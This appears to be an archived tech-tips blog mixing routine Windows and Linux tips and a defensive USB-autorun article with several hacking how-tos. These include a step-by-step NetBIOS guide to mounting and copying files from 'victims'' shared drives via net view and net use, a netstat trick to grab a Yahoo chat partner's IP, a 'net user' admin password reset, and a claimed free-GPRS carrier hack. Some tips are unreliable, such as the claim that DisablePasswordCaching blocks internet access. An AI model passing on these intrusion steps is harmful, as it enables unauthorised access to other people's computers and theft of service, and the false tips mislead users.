and enter the IP address that you want to trace in the dialog box and click on “Find Location”‘. With just a click of a button you can find the following information for any given IP address.
.
1. Country in which the IP is located
.
2. Region
.
3. City
.
4. Latitude/Longitude
.
5. Zip Code
.
6. Time Zone
.
7. Name of the ISP
.
8. Internet Speed
.
9. Weather Station
.
10. Area Code and
.
11. Domain name associated with the IP address.

How to Install software on Linux ?

2010-08-17T05:13:00.000-07:00

How to Install Software on Linux

There are several different types of installation files for Ubuntu, and few of them are as easy to install as the EXE installation files found on Windows. If you need to download an application to your system that is not found in Add/Remove Applications, then you will find yourself with one of several different types of files: .deb, .rpm, .bin, .tar.gz, INSTALL, .sh, etc.

These different files all have a different method of execution. Below is instructions on installing these file types. This tutorial assumes you are running the latest version of Ubuntu, 10.04 Lucid Lynx.

Installing DEB files

A .deb file is the easiest file to install on Ubuntu–if you are given an option for the type of file you want to download, choose this option.

Save the file to your Desktop. Once it is there, simply double click on the file and the system package installer will open. Click the button in the top right corner that says “Install Package”, and wait for it to say finished. Close the window. Your application is now installed and ready to use.

Installing RPM files

DEB files are the default installation file for Ubuntu–if at all possible, you should choose a .deb file over any other file type. However, sometimes an application is only available in one or two formats, none of which are Ubuntu-flavored. RPM is one such file type. In order to install this file, you will need to convert it into something Ubuntu knows how to install–a .deb file!

To do this, open the Terminal and type: sudo apt-get install alien.

You will be prompted to enter your password. After entering, press the return key. You will see some code scroll by quickly, and then you will be presented with the option to continue or quit the installation. Type ‘Y’ and press the return key.

You will see the Alien application installing; this app will be used to convert your RPM file into a DEB file. Installation could take several minutes depending on your Internet and computer speeds.

Once finished, move the RPM file to your Desktop and open the Terminal. Type: cd Desktop. This will point your Terminal to your Desktop directory where you have the RPM file saved.

Now, to install the RPM file, in the Terminal, type: sudo alien -k filename.rpm

Replace filename.rpm with the actual name of the RPM file, then press the return key. It will convert the RPM file to a DEB file. Once finished, install the DEB file using the method above.

Install BIN files

A BIN file is similar to an RPM file, in that Ubuntu can’t understand how to install it until you convert it into a different format. To do this, follow these instructions.

Download and save the BIN file to your systems Desktop. Once saved, open the Terminal and type: cd Desktop

Once you’ve cd’ed to the Desktop, type the following line into the Terminal: sudo chmod +x filename.bin

Change filename.bin to the name of your BIN file and press the return key. Nothing will show up in the Terminal, nothing will be copied to the Desktop–it will appear as if nothing at all happened. This is not the case, however, so do not worry. Type ./filename.bin and press the return key.

The program will install from within the Terminal.

Installing a Tar.Gz Archive

Many programs are still wrapped in a tar.gz archive folder. This is similar to a ZIP file, in that all the files are contained inside, but you can’t simply extract an executable file. Installing an application from tar.gz is called install from source. To do that, follow the next instructions.

Download the tar.gz to your desktop, right click and choose extract here. A folder by the same name will be extracted to your desktop. Now, open the Terminal and type: cd desktop.

This will let your work within the Desktop directory. Now, within the same Terminal window, type: cd foldername

This will let you work from within the folder you extracted from the tar.gz. Inside this folder will be a file that says program-installer. To install this, type in the Terminal: sh program-installer

This will install the program from within the Terminal. Simply follow the directions as they appear.

Note: The credits of this tutorial goes to Laptop Logic .

Original here: How to Install software on Linux ? | Piyush Shekhar http://www.piyushshekhar.com/how-to-install-software-on-linux.html#ixzz0wrgRji7p

Want to remove shared documents folder from my computer window tip

2010-08-17T03:58:00.001-07:00

Some don't like my shared documents folder option. If you are one of that, here is a trick to remove it.

Open registry editor by going to START-RUN and entering regedit.

Once in registry, navigate to key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}.

If you delete this key, you have effectively removed the my shared documents folder.

Netbios Hacking

2010-08-17T03:55:00.002-07:00

THIS NETBIOS HACKING GUIDE WILL TELL YOU ABOUT HACKING REMOTE COMPUTER AND GAINING ACCESS TO IT’S HARD-DISK OR PRINTER. NETBIOS HACK IS THE EASIEST WAY TO BREAK INTO A REMOTE COMPUTER.

STEP-BY-STEP NETBIOS HACKING PROCEDURE
1.Open command prompt

2. In the command prompt use the “ net view ” command
( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “ IP-TOOLS ” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).
Example: C:\>net view \\219.64.55.112
The above is an example for operation using command prompt.”net view” is one of the netbios command to view the shared resources of the remote computer.Here “219.64.55.112? is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address in it’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown.If not an error message is displayed. So repeat the procedure 2 with a different IP address.

3. After succeeding, use the “net use” command in the command prompt.The “net use” is another netbios command which makes it possible to hack remote drives or printers.
Example-1:
C:\>net use D: \\219.64.55.112\F
Example-2:
C:\>net use G: \\219.64.55.112\SharedDocs
Example-3:
C:\>net use I: \\219.64.55.112\Myprint

NOTE : In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.
NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT
F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer.These are displayed after giving “net use” command. “219.64.55.112? is the IP address of remote computer that you want to hack.

4. After succeeding your computer will give a message that “ The command completed successfully “. Once you get the above message you are only one step away from hacking the computer.
Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name.You can open it and access remote computer’s Hard-Drive.You can copy files,music,folders etc. from victim’s hard-drive.You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system.You can access files\folders quickly through “Command Prompt”.
NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios.That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed).So Repeat The Procedure 2,3 With Different IP Address.
HAPPY NETBOS HACKING!!

2010-08-17T03:55:00.001-07:00

Here in this post I will try to give you every possible information to hide the IP address.If you seriously want to hide your IP address then this post is for you!
One of the most frequently asked questions by the internet users is How To Hide IP Address ?. Many times it becomes necessary to hide the real IP address for the sake of privacy.For this, I have tried many softwares, proxy servers and many such tools that guaranteed to hide my IP address.But still none of them worked for me. I think most of you have the same experience.Are you fed up with these dummy softwares that fails to hide the real IP address?Then is there any working way to hide the IP address?

YES, you can definitely hide your IP .
Now I’ll come to the heart of the post, which contains the answer to your curious question How to Hide the IP address ? The only solution to hide your IP address is by using a Proxy Server. But Wait! The story doesn’t end here.Even though proxy servers are the only way to hide your IP address, there are several ways of connecting your PC to the proxy server.Before setting up the connection with the proxy servers you must know some information about different types of proxy servers and their uses.

1. Transparent Proxy Server
This type of proxy server identifies itself as a proxy server and also makes the original IP address available through the http headers. These are generally used to speedup the web browsing since thay have a very good ability to cache websites.But they do not conceal the IP of it’s users. It is widely known as transparent proxy because it will expose your real IP address to the web.This type of proxy server does not hide your IP address.

2. Anonymous Proxy Server
This type of proxy server identifies itself as a proxy server, but does not make the original IP address available. This type of proxy server is detectable, but provides reasonable anonymity for most users. This type of proxy server will hide your IP address.

3. Distorting Proxy Server
This type of proxy server identifies itself as a proxy server, but make an incorrect original IP address available through the http headers. This type of proxy server will hide your IP address.

4. High Anonymity Proxy Server ( Elite Proxy)
This type of proxy server does not identify itself as a proxy server and does not make available the original IP address. This type of proxy server will hide your IP address.So this is the best way to mask your IP.

Which Proxy Server is the best to Hide My IP ?
I know, you can answer this question better than me.Obviously High Anonymity Proxy or Elite Proxy is the best to hide your IP.But it’s not easy to get a list of working elite proxies.If you search the Google, you will definitely get tons of proxy list.You’ll get a list of proxies in the following format
IP:Port Number
Eg: 221.90.45.67:8080 (221.90.45.67 is the IP of the proxy server and 8080 is the port number)
But most of them don’t work.Here are some of the problems/risks associated with using free proxies that are available on the internet.

Most of them do not work since the proxy servers frequently changes it’s IP/Port number.
Even if you find a working proxy server it may be too slow.
Your privacy is not guaranteed since all your traffic is routed through the proxy server.
The administrators of the proxy servers may steal your valuable information such as passwords,SSN (Social security number),Credit Card details etc.

So with all these being the risks then how to find a Working,fast,Highly Anonymous and secured Proxy servers?

Now I will give a list of softwares that will really hide your IP address.I have tried many such softwares and have found only few of them working perfectly.Here is a list of working IP Hiding softwares that you can try.I have listed them in the order of their popularity

1. Hide The IP
L et’s you choose the country,Type and speed of the proxy. Not so popular but personally I recommend this to the users.

2. Hide My IP

3. Hide IP NG

You can get more informations about these products on their respective homepages.
How to ensure that the IP is hidden ?

Before you hide your IP you can check your real IP by visiting the following site.
WhatIsMyIPAddress.Com

Once you get your real IP, switch on your IP hiding software.Now once again visit the above site and check your IP address.If you see a new IP then this means that your software is doing the right job.Also the above site(Whatismyipaddress.com) is capable of detecting many proxies.If you see the words such as “Suspected proxy server or network sharing device” or similar words then it means that the proxy you are using is not an Elite Proxy.

One Final Word before you leave! Even though Elite proxies are almost undetectable this doesn’t mean that you can escape from online crimes by hiding your IP.There are many proxy detecting services available which detect almost any proxy.So if you involve in any cyber crimes then you will definitely be behind the bars.Using proxy will not help you in this case.

One More thing, It is unsafe to use proxy during e-commerce transactions such as Online banking,Online Credit Card payment etc.So please avoid proxies during these circumstances.

Want to hack Windows XP login password

2010-08-17T03:53:00.000-07:00

so what if u don't know the password of your admin and still want to hack and change .. yea u can do it ..in a very easy manner.. check this. just follow the steps.. this doesn't require u to know the admin password but still u can change it..

Start >> Run >> [type]cmd // this will open your command prompt
[type] net(space)user(press enter)
[type] net(space)user(space)[windowsloginid](sp ace)*(press enter)

// for e.g. : net user Shaswat *(press enter)

[type] new password (press enter) and retype it (press enter).. it will show u confirmation... // caution it wont show u the password u type.. but it still types.. the blinking pointer will b there at the same place.. but it still works..
// for e.g. : password changed successfully.

well.. this is so easy and can b done within seconds.. anyways enjoy

Locking your files in windows

2010-08-17T03:52:00.000-07:00

To secure ur folders u don't need any s/w in windows Xp and win 2000.Just follow the trick.

1) create a folder in any drive (here D:/)

abc (ur files)

2)here in D:/ create two batch files lock.bat , unlock.bat . write the following code in it.

In lock.bat
ren abc abc.{0000031D-0000-0000-C000-00000000004 6}

In unlock.bat
ren abc.{0000031D-0000-0000-C000-00000000004 6} abc

4) place ur personal files inside it. And now press lock.bat in D:, now try opening it. Bingo i think u got it. To unlock click unlock.bat.

** u can change abc to ur folder name (say personal..).
u can other keys to rename like,

{48F45200-91E6-11CE-8A4F-0080C81A28D4}
{0B6DC6EE-C4FD-11d1-819A-00C04FB69B4D}

I found some trouble in some systems. This technique is not working there. So there is another way to secure folder contents.

Here use the following keys instead of given above.

{20D04FE0-3AEA-1069-A2D8-08002B30309D} - Turned to Explorer
{0DF44EAA-FF21-4412-828E-260A8728E7F1} - turned to start menu properties
{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF} - Turned to Folder Options
{7007ACC7-3202-11D1-AAD2-00805FC1270E} - Turned to Network Connections
{D20EA4E1-3957-11d2-A40B-0C5020524152} - Turned to Fonts Folder
{D6277990-4C6A-11CF-8D87-00AA0060F5BF} - Turned to Schedule tasks
{E211B736-43FD-11D1-9EFB-0000F8757FCD} - Turned to Scanners & camera

{645FF040-5081-101B-9F08-00AA002F954E} - Turned to Recycle bin

{2227A280-3AEA-1069-A2DE-08002B30309D} - Turned to Printers Folder

I actually use this technique for my programming things to open specified folders. But i found it is possible to secure our personal files using this technique.

So enjoy.

Don't ask me hw to write batch files...

To Experts
Well by using this method 1 can lock files in folder, but those can be deleted. Is there any way to secure even form deleting. I am working on it but never succeeded.

Hacking Yahoo Messenger

2010-08-17T03:50:00.000-07:00

Window Hacking

This tutorial will tell you how to hack yahoo messenger while you are engaged in chatting with some person.While you are chatting through yahoo messenger, Yahoo will hide the IP addresses of all the computers that are connected through the yahoo messenger application to the chat room.So it is not possible to directly find out the IP of the person you want to hack.Then how to get the IP address? Yes it is still possible to hack the IP address during the Yahoo messenger chat.The procedure to Hack Yahoo messenger is discussed in detail below.

While you are chatting via yahoo messenger the communication between you and the person you want to hack, takes place indirectly via Yahoo server and not directly.It is not possible to hack Yahoo messenger directly to get the IP address.So to hack his IP, you must establish a direct communication with him.So,how to do this? It’s easy.Just start chatting with some one via Yahoo messenger.During the process of chatting send him a big file.Now the file transfer takes place directly between your computer and the victim’s computer(via yahoo messenger application).So now, you are ready to go. Here’s the step-by-step process to hack Yahoo messenger and get the IP address of the person .

Goto the COMMAND PROMPT (START>>>RUN>>>Type CMD).
Here Type “netstat -n” (without quotes).

The pic given below shows netstat results of my computer.I was not chatting when i took this pic and hence it looks modified.

Here local address is your own IP and the foreign address is the IP address of the recipient with whom you are connected via yahoo messenger (There may be multiple recipients and hence multiple foreign addresses).
Now send him the file.
Check the output by typing the command “netstat -n” (without quotes).
Assume the output is something like this.

TCP 127.0.0.10:5101 124.55.23.11:1246 ESTABLISHED
Here 124.55.23.11 is the IP address of the person with whom you are chatting and 1246 is the port number where connection is established.That’s It! You have now hacked Yahoo messenger to get his IP address.

XP - CMD COMMANDS

2009-12-29T09:21:00.000-08:00

XP commands



ADDUSERS Add or list users to/from a CSV file ARP Address Resolution Protocol ~ ASSOC Change file extension associations ASSOCIAT One step file association AT Schedule a command to run at a later time ATTRIB Change file attributes b BOOTCFG Edit Windows boot settings BROWSTAT Get domain, browser and PDC info c CACLS Change file permissions ~ CALL Call one batch program from another ~ CD Change Directory - move to a specific Folder CHANGE Change Terminal Server Session properties CHKDSK Check Disk - check and repair disk problems CHKNTFS Check the NTFS file system CHOICE Accept keyboard input to a batch file CIPHER Encrypt or Decrypt files/folders CleanMgr Automated cleanup of Temp files, recycle bin CLEARMEM Clear memory leaks CLIP Copy STDIN to the Windows clipboard. ~ CLS Clear the screen CLUSTER Windows Clustering CMD Start a new CMD shell ~ COLOR Change colors of the CMD window COMP Compare the contents of two files or sets of files COMPACT Compress files or folders on an NTFS partition COMPRESS Compress individual files on an NTFS partition CON2PRT Connect or disconnect a Printer CONVERT Convert a FAT drive to NTFS. ~ COPY Copy one or more files to another location CSCcmd Client-side caching (Offline Files) CSVDE Import or Export Active Directory data d ~ DATE Display or set the date Dcomcnfg DCOM Configuration Utility DEFRAG Defragment hard drive ~ DEL Delete one or more files DELPROF Delete NT user profiles DELTREE Delete a folder and all subfolders DevCon Device Manager Command Line Utility ~ DIR Display a list of files and folders DIRUSE Display disk usage DISKCOMP Compare the contents of two floppy disks DISKCOPY Copy the contents of one floppy disk to another DISKPART Disk Administration DNSSTAT DNS Statistics DOSKEY Edit command line, recall commands, and create macros DSADD Add user (computer, group..) to active directory DSQUERY List items in active directory DSMOD Modify user (computer, group..) in active directory e ~ ECHO Display message on screen ~ ENDLOCAL End localisation of environment changes in a batch file ~ ERASE Delete one or more files ~ EXIT Quit the current script/routine and set an errorlevel. EXPAND Uncompress files EXTRACT Uncompress CAB files f FC Compare two files FIND Search for a text string in a file FINDSTR Search for strings in files ~ FOR /F Loop command: against a set of files ~ FOR /F Loop command: against the results of another command ~ FOR Loop command: all options Files, Directory, List FORFILES Batch process multiple files FORMAT Format a disk FREEDISK Check free disk space (in bytes) FSUTIL File and Volume utilities FTP File Transfer Protocol ~ FTYPE Display or modify file types used in file extension associations g GLOBAL Display membership of global groups ~ GOTO Direct a batch program to jump to a labelled line h HELP Online Help i ~ IF Conditionally perform a command IFMEMBER Is the current user in an NT Workgroup IPCONFIG Configure IP k KILL Remove a program from memory l LABEL Edit a disk label LOCAL Display membership of local groups LOGEVENT Write text to the NT event viewer. LOGOFF Log a user off LOGTIME Log the date and time in a file m MAPISEND Send email from the command line MBSAcli Baseline Security Analyzer. MEM Display memory usage ~ MD Create new folders MKLINK Create a symbolic link (linkd) MODE Configure a system device MORE Display output, one screen at a time MOUNTVOL Manage a volume mount point ~ MOVE Move files from one folder to another MOVEUSER Move a user from one domain to another MSG Send a message MSIEXEC Microsoft Windows Installer MSINFO Windows NT diagnostics MSTSC Terminal Server Connection (Remote Desktop Protocol) MUNGE Find and Replace text within file(s) MV Copy in-use files n NET Manage network resources NETDOM Domain Manager NETSH Configure network protocols NETSVC Command-line Service Controller NBTSTAT Display networking statistics (NetBIOS over TCP/IP) NETSTAT Display networking statistics (TCP/IP) NOW Display the current Date and Time NSLOOKUP Name server lookup NTBACKUP Backup folders to tape NTRIGHTS Edit user account rights p ~ PATH Display or set a search path for executable files PATHPING Trace route plus network latency and packet loss ~ PAUSE Suspend processing of a batch file and display a message PERMS Show permissions for a user PERFMON Performance Monitor PING Test a network connection ~ POPD Restore the previous value of the current directory saved by PUSHD PORTQRY Display the status of ports and services PRINT Print a text file PRNCNFG Display, configure or rename a printer PRNMNGR Add, delete, list printers set the default printer ~ PROMPT Change the command prompt PsExec Execute process remotely PsFile Show files opened remotely PsGetSid Display the SID of a computer or a user PsInfo List information about a system PsKill Kill processes by name or process ID PsList List detailed information about processes PsLoggedOn Who's logged on (locally or via resource sharing) PsLogList Event log records PsPasswd Change account password PsService View and control services PsShutdown Shutdown or reboot a computer PsSuspend Suspend processes ~ PUSHD Save and then change the current directory q QGREP Search file(s) for lines that match a given pattern. r RASDIAL Manage RAS connections RASPHONE Manage RAS connections RECOVER Recover a damaged file from a defective disk. REG Registry: Read, Set, Export, Delete keys and values REGEDIT Import or export registry settings REGSVR32 Register or unregister a DLL REGINI Change Registry Permissions ~ REM Record comments (remarks) in a batch file ~ REN Rename a file or files. REPLACE Replace or update one file with another ~ RD Delete folder(s) RMTSHARE Share a folder or a printer ROBOCOPY Robust File and Folder Copy ROUTE Manipulate network routing tables RUNAS Execute a program under a different user account RUNDLL32 Run a DLL command (add/remove print connections) s SC Service Control SCHTASKS Create or Edit Scheduled Tasks SCLIST Display NT Services ~ SET Display, set, or remove environment variables ~ SETLOCAL Control the visibility of environment variables SETX Set environment variables permanently SHARE List or edit a file share or print share ~ SHIFT Shift the position of replaceable parameters in a batch file SHORTCUT Create a windows shortcut (.LNK file) SHOWGRPS List the NT Workgroups a user has joined SHOWMBRS List the Users who are members of a Workgroup SHUTDOWN Shutdown the computer SLEEP Wait for x seconds SOON Schedule a command to run in the near future SORT Sort input ~ START Start a program or command in a separate window. SU Switch User SUBINACL Edit file and folder Permissions, Ownership and Domain SUBST Associate a path with a drive letter SYSTEMI NFO List system configuration t TASKLIST List running applications and services TASKKILL Remove a running process from memory ~ TIME Display or set the system time TIMEOUT Delay processing of a batch file ~ TITLE Set the window title for a CMD.EXE session TOUCH Change file timestamps TRACERT Trace route to a remote host TREE Graphical display of folder structure ~ TYPE Display the contents of a text file u USRSTAT List domain usernames and last login v ~ VER Display version information ~ VERIFY Verify that files have been saved ~ VOL Display a disk label w WHERE Locate and display files in a directory tree WHOAMI Output the current UserName and domain WINDIFF Compare the contents of two files or sets of files WINMSD Windows system diagnostics WINMSDP Windows system diagnostics II WMIC WMI Commands x XCACLS Change file permissions XCOPY Copy files and folders ~ :: Comment / Remark Commands marked ~ are Internal commands only available within the CMD shell, all other commands may be used under PowerShell. Many internal commands such as COPY and DEL are available under Powershell as cmdlets but with different syntax / options. Microsoft Help pages: Windows XP - 2003 Server - 2008 Server

Increase Broadband Speed Using Simple Tweak

2009-09-04T10:43:00.000-07:00

Increase Broadband Speed Using Simple TweakA Simple Tweak (XP Pro only) which will increase your Broadband Speed.Make sure you Log on as Administrator, not as a user with Administrator privileges.Follow the steps as given below-
1) Click on Start Button.
2) Select Run From Start Menu.
3) Type gpedit.msc
4) Expand the [Administrative Templates] branch.
5) Then Expand the [Network] branch.
6) Highlight(Select by Single Click) [QoS Packet Scheduler]
7) Double-click [Limit Reservable Bandwidth] (Available in Right Side Panel)
8) Check(Select By Single Click on it) [Enabled]
9) Change [Bandwidth limit %] to 0 %
10) Click [OK] Button.
11) Restart Your PC.
12) Now Check Your Broadband Speed.

Vodafone Hack For Free GPRS

2009-09-04T10:38:00.000-07:00

This method has been tested on different mobiles and has been confirmed to be working.Followng are the Settings you require to configure on your Mobile:
Account Name: Vodafone_gprs
Homepage: http://live.vodafone.in
User Name: (no need)
Pass: (no need)
Access Point Settings:-
Proxy: Enabled
Proxy Address: 10.10.1.100
Proxy Port: 9401
Data Bearer: PacketData
Bearer Settings:-
Packet Data Access Point: portalnmms
Network type: IPV4
Authentication: normal
User Name: (no need)
Password: (no need)*
IF that happen this settings is not working then change the proxy port number to:-
Proxy Port: 9401

How to cleanup hard disc

2009-07-06T06:49:00.000-07:00

Deleting unwanted files from hard disc:
Dear friends this problem occurs only when you dont install files proprly in your system.It is difficult to delete those files which are not install proprly in your system.A simple procedure to delete or clean up unnecessary files form your system.Just follow the below steps to clean up your system.
Click on start>Go to accessories>System tools>and then click on Clean up.
In order to delete unnecessary files you have to do disc clean up.for this you have to follow the above steps.A small disc clean up tool is build internally in your system.Select c:\ drive to clean up and click on first tab as shown below "disc clean up".It deletes all unnecessary,hidden and unwanted files from your system.
Disc clean up to perform any of the following below tasks to free up disc space on your hard disc:
-Empty Recycle Bin.
-Remove Windows temporary files.
-Remove unnecessary downloaded files programs.such as c,java applets,active x etc.
-Remove installed programs which you never use.For example after playing any game completely better you uninstall it.Why because games occupy huge space.
-A few windows programs which are optional which you never use.Better you delete those kind of programs.
You can clean those kind of files by below method.
- Click Start and click Run.In that type "cleanmgr" and then click "OK".
In some cases disc clean up dosen't work properly.especially when INDEX.DAT file is corrupted.

C:\WINDOWS\Prefetch:
This folder contains regularly used programs.Without any problem you can delete those files completely.Your system will start quicker after deleting those files from your system.The files in prefetch folder will generate automatically as soon as you restart your system.

C:\I386\
C:\Windows\Driver Cache\I386\
C:\Windows\ServicePackFiles\I386\
If you really want to save your disc space then delete the above files immediately. 1386 folder contains all setup files.If your system is working proporly then there is no need of above files.You can delete them.I am not responsible if your system does not work properly after deleting those files. :-)..My best tool is Active Eraser which deletes all unwanted files completely from your system.
Active-Eraser software mainly consists of 4 components:
1)Secure File Eraser.
2)hard Disc Drive Eraser.
3)Disc Wiper.
4)Internet Trace Eraser and Local Activities Cleaner.
Prefer to use this tool before defragmentation.

The below temporary files which you can remove completely from your system.I can assure that your system will be safe after deleting the below files.
C:\Documents and Settings\your username\Local Settings\Temp
C:\Documents and Settings\Default User\Local Settings\Temp
C:\Documents and Settings\LocalService\Local Settings\Temp
C:\WINDOWS\TEMP
C:\Documents and Settings\your username\Local Settings\Temporary Internet Files
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files
C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files
C:\Documents and Settings\your username\Local Settings\History
C:\Documents and Settings\Default User\Local Settings\History
C:\Documents and Settings\LocalService\Local Settings\History.

C:\PAGEFILE.SYS (Virtual memory) page files:
The page files are used only when your main memory has been used by running programs.For this more memory is needed.Page files are used temporary .So we can delete those files completely from our system.Disabling the pagefile is only a wise thing to do if the available memory exceeds 512 MB (the use of the pagefile depends on the demand for memory of the running applications). You can also move the pagefile to another (faster) partition (as suggested on the page Windows XP settings part I) to make a quicker system backup/recovery possible.

How to delete locked files:Some files cannot be delete by above procedures.Even by using Active-Eraser you cannot delete locked files.Because the file or folder is locked by specific process or method.You have to find which process is locking those files.After finding you have to stop the process.For this download Microsoft Process Explorer v11.4.The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.Another tool Unlocker which unlockes the file or folder from specific process and deletes those files.

Few disc cleaning softwares are shown below.
- Download Sreenit.exe.
- Download File Encryption.
- Download Disk Invistigator.
- Download Delete Doctor.

Latest tricks on internet explorer

2009-07-06T06:47:00.000-07:00

Tricks on Internet Explorer (IE):

How to remove history in Internet Explorer (IE):
As soon as you type in address bar Internet explorer keeps tracks of each url and saves that url in Internet Explorer history.There is no necessary for typing again and again.If you are not interested to store all url's in history you may remove those url's.Well it is easy to delete history in Internet Explorer (IE).Any user that uses your computer can find out what information you are searching.So it is better to clear history in Internet Explorer.A simple registry modification is needed for clearing history.

Click Start and go to Run.
Type regedit in run.
This command "regedit" redirects to
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Typed URLs. Now just delete all keys and list of url's that present in that folder.

Speed up Network Browsing:
Well it is so easy to increse the browsing by just deleting one file from regedit folder.There was a small problem in windows that causes scheduled tasks folder to be searched when ever the user would browse network drives..
Follow the procedure to speed network browsing:

Click on start and go to run.
Type regedit in run.

Navigate to
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace

find the key named
{D6277990-4C6A-11CF-8D87-00AA0060F5BF}.

Right click on that folder and delete it.
Now restart your computer.

Note:Before attempting these steps backup your registry.

Allow more than 2 simultaneous downloads in IE 6:
Yes it is easy to keep more than 2 simultaneous downloads in IE(Internet Explorer).From the below steps you can keep 10 downloads at a time.

Start registry editor (Regedt32.exe).
Locate the registry key shown below
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
now go to edit menu and click on add value.(a dword).Now add the following registry values shown below.

"MaxConnectionsPer1_0Server"=Dword:0000000a
"MaxConnectionsPerServer"=Dword:0000000a

Now exit registry editor.
restart your system.

How to lock computer XP:
press "L"key while holding down "Windows Logo" key on your keyboard.
this is the good way to lock your windows xp.If you would like to lock remotely,for example via "Remote Administrator",you don't have this ability. What you can do instead, is to create a shortcut on remote computer's desktop where Target
%windir%\System32\rundll32.exe user32.dll,LockWorkStation
Start In %windir%.

How to change Internet explorer (IE) title text?
Hmmm......It is a fairy trick to change IE title text in to our own words.Just follow the below steps to change Internet Explorer(IE) title text.
Open regdit navigate to this key as shown below:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Just change the WINDOWS title to whatever you want on title bar of windows internet explorer.To have no title except the title of the web pages you are browsing do not enter anything for a value.

Preventing the spread of USB virus

2009-07-04T12:54:00.000-07:00

Introduction

As the use of memory sticks has become more and more widespread, so malware has
began to use them as a way to spread from machine to machine. While this is a
problem for end users, the real danger is with IT professionals, who might use
the same USB stick in dozens of computers in a single day, will often be logged
in with administrative privileges, and will have access to important machines.
This paper is aimed at those professionals, and how they can mitigate the risk
of passing an infection onto other machines.



The Problem 

Malware uses two main techniques to spread through memory sticks. The first,
and less serious, is infecting executable files on the memory stick, so that
when they are run on another machine, the infection moves with them.

The more common, and more dangerous, is to spread via the `autorun.inf` file,
which Windows automatically executes when the drive is connected, meaning that
no user interaction is needed. Conficker has been getting a lot of attention
recently, and this was one of the methods it used to spread itself, but many
other malicious programs used the same technique.

It is possible to disable the autorun feature from Windows, but this requires
that the client machine has done this, which is not always the case, as most
users will not have the technical knowledge to do this.



The Solution 

Since we cannot rely on the computer to prevent the execution of the
autorun.inf file, we must do this from the memory stick. It is possible to buy
memory sticks with read-only switches, so that they can be locked to prevent
the computer writing to them, but this can cause problems, is easily forgotten,
and doesn't help once the memory stick has been infected.

However, if the memory stick is FAT32, which most are, with the exception of
some of the new 8GB+ drives, we can create a quick fix using a hex editor, and
a basic knowledge of the FAT32 directory table.

First, we create a blank `autorun.inf` file on the memory stick, then open up
the disk in a hex editor. It doesn't matter if you open the physical disk, or
the logical partition, but if the disk has more than one partition, it is
better to do the latter. Make sure that the disk is opened with read/write
permissions, and that you haven't got anything accessing it at the time. HxD
for Windows is a small, portable hex editor, if you don't already have one.



While this can be done to a disk with data on, it is safer to do it to a blank
one, just in case there is a problem. If not, make sure that you have a copy of
any data on the stick, if you don't, the you are liable to any loss of data
that might occur.

Next, run a search in the disk for the string `AUTORUN`, as a non-Unicode text
string. It should find it near the beginning of the disk. The area we are
interested in is as follows.

41 55 54 4F 52 55 4E 20 49 4E 46 20
A  U  T  O  R  U  N     I  N  F


The first 8 bytes are the filename (with a space at the end, because autorun is
only 7 characters), followed by a 3 bytes file extension (INF), followed by one
byte for the file attributes. It is this final byte that is relevant.

The current value of the byte (0x20) has just the archive bit set. What we want
to do, is to change this byte to 0x40, which sets the device bit, which is
never normally found on a disk. The block will now look like this.

41 55 54 4F 52 55 4E 20 49 4E 46 40
A  U  T  O  R  U  N     I  N  F  @

Once this has been saved to disk, ignoring any warning that this might corrupt
the disk, we then unmount and remount the volume. Now, when you browse to the
disk, the autorun.inf file can be seen, but it cannot be deleted, opened,
edited, overwritten, or have its attributes changed.

When this memory stick is connected to an infected machine, which will try to
create an autorun.inf file on it, it will fail with an error, (Cannot create
file), meaning that this memory stick cannot be infected, and thus cannot pass
an infection on to any other computers.



Conclusion

As stated before, this is not a guide aimed at end users, it is aimed at IT
professionals, or other power users, who will use the same USB stick on
multiple computers on a day to day basis.

Should this technique become widely used, we will almost certainly see malware
that can bypass it, but until that happens, it can provide a simple but
effective defense against USB spreading malware.

Delete files that are undeletable

2009-07-04T12:46:00.001-07:00

Open a Command Prompt window and leave it open. Close all open programs. Click Start, Run and enter TASKMGR.EXE Go to the Processes tab and End Process on Explorer.exe. Leave Task Manager open. Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in. At the command prompt type DEL where is the file you wish to delete. Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell. Close Task Manager.

Disable Internet

2009-07-04T12:44:00.000-07:00

Click Start, click Run, type regedit, and then click OK. Locate and then click the following registry subkey:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings .
On the Edit menu, click New, and then click DWORD Value.
Now u type DisablePasswordCaching to name the new registry entry,
and then press ENTER.
Right-click DisablePasswordCaching,
and then click Modify.
type 1 in the Value data box,
and then click OK.

enjoy now no one can connect the net from your pc

All Keyboard Shortcuts

2009-06-29T10:19:00.000-07:00

All Keyboard Shortcuts

